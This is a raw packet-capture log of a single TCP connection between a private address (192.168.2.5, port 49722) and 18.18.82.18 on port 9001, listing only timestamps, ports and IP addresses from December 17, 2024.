Dec 17, 2024 11:49:29.169409990 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.169434071 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.169449091 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.174077988 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.174122095 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.174379110 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.174422026 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.179204941 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.179224968 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.179245949 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.179265022 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.183535099 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.183585882 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.183620930 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.183882952 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.188286066 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.188317060 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.188333035 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.188349009 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.192831993 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.192969084 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.193020105 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.197561026 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.197607040 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.197658062 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.197690010 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.202256918 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.202315092 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.202426910 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.202495098 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.205487967 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.205540895 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.205590010 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.205629110 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.208636999 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.208702087 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.208739996 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.209017038 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.212088108 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.212136984 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.212160110 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.212189913 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.214837074 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.214884043 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.214926004 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.214973927 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.217948914 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.218009949 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.218024969 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.218063116 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.221019030 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.221062899 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.221134901 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.221173048 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.224138975 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.224179029 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.224339962 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.224380016 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.227257013 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.227274895 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.227320910 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.227339029 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.230354071 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.230422020 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.230458021 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.230496883 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.233809948 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.233860016 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.233867884 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.233906031 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.236629009 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.236699104 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.236705065 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.236742020 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.239700079 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.239749908 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.239793062 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.239830971 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.263978958 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.264211893 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.289160967 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.289221048 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.289441109 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.289479017 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.335817099 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.335876942 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.335933924 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.336323977 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.337112904 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.337172031 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.337202072 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.337244034 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.339590073 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.339700937 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.339754105 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.342114925 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.342174053 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.342278957 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.342318058 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.344655991 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.344696045 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.344770908 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.344959974 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.347098112 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.347162962 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.347212076 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.347340107 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.349514008 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.349582911 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.349613905 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.350157022 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.351838112 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.351969957 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.352013111 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.354137897 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.354377985 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.354513884 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.356604099 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.356688976 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.356966019 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.358678102 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.358788967 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.358850002 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.360830069 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.360994101 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.361074924 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.363044977 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.363085985 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.363167048 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.365140915 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.365223885 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.365283012 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.367387056 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.367661953 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.368680000 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.369386911 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.369474888 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.369606972 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.371443033 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.371532917 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.371596098 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.373480082 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.373586893 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.373689890 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.375735044 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.375956059 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.376020908 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.377679110 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.377791882 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.378302097 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.379954100 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.380009890 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.380186081 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.381851912 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.381989002 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.382041931 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.384073019 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.384109020 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.384196997 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.386013031 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.386147022 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.386280060 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.388063908 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.388181925 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.388253927 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.390161037 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.390274048 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.390326023 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.391801119 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.391966105 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.392020941 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.393506050 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.393599033 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.394527912 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.395121098 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.395333052 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.395447016 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.396831989 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.396944046 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.397054911 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.398066998 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.398422956 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.398478031 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.398516893 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.398567915 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.400080919 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.400150061 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.400213957 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.401742935 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.401813984 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.401823997 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.401875973 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.403373003 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.403439045 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.403464079 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.403518915 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.403672934 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.405127048 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.405163050 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.405225039 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.406666040 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.406742096 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.406945944 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.407073021 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.408303022 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.408386946 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.408448935 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.410001040 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.410072088 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.410104990 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.410156012 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.411725044 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.411782026 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.411820889 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.411873102 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.413311958 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.413366079 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.413424015 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.413475037 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.415401936 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.415478945 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.415539026 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.416565895 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.416620016 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.416647911 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.416681051 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.481031895 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.481066942 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.481096983 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.481127024 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.481766939 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.523471117 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.527956009 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.527988911 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.528052092 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.528139114 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.528480053 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.528553963 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.528594971 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.528819084 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.529802084 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.529871941 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.529921055 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.529987097 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.531172037 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.531228065 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.531284094 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.532483101 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.532569885 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.532589912 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.533097029 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.533822060 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.533878088 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.533915997 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.534008026 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.535161018 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.535233021 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.535285950 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.535336018 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.536515951 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.536550045 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.536606073 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.537472963 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.537524939 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.537580013 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.537630081 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.538608074 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.538664103 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.538706064 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.538754940 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.539705992 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.539869070 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.539921999 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.541496992 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.541557074 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.541735888 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.541788101 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.542160034 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.542215109 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.542222977 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.542268991 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.542937040 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.542968035 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.542993069 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.543037891 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.543898106 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.544020891 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.544028044 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.544100046 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.544950962 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.545001984 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.545133114 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.545180082 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.546032906 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.546092033 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.546133995 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.546180964 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.547076941 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.547131062 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.547178984 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.547251940 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.548418045 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.548650980 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.548705101 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.549257994 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.549313068 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.549657106 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.549710989 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.550436974 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.550482035 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.550493956 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.550535917 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.551407099 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.551489115 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.551537991 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.552406073 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.552469969 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.552479029 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.552536964 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.553488970 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.553548098 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.553575039 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.553626060 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.554613113 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.554685116 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.554696083 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.554761887 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.555568933 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.555711031 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.555767059 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.556616068 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.556687117 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.556734085 CET	9001	49722	18.18.82.18	192.168.2.5
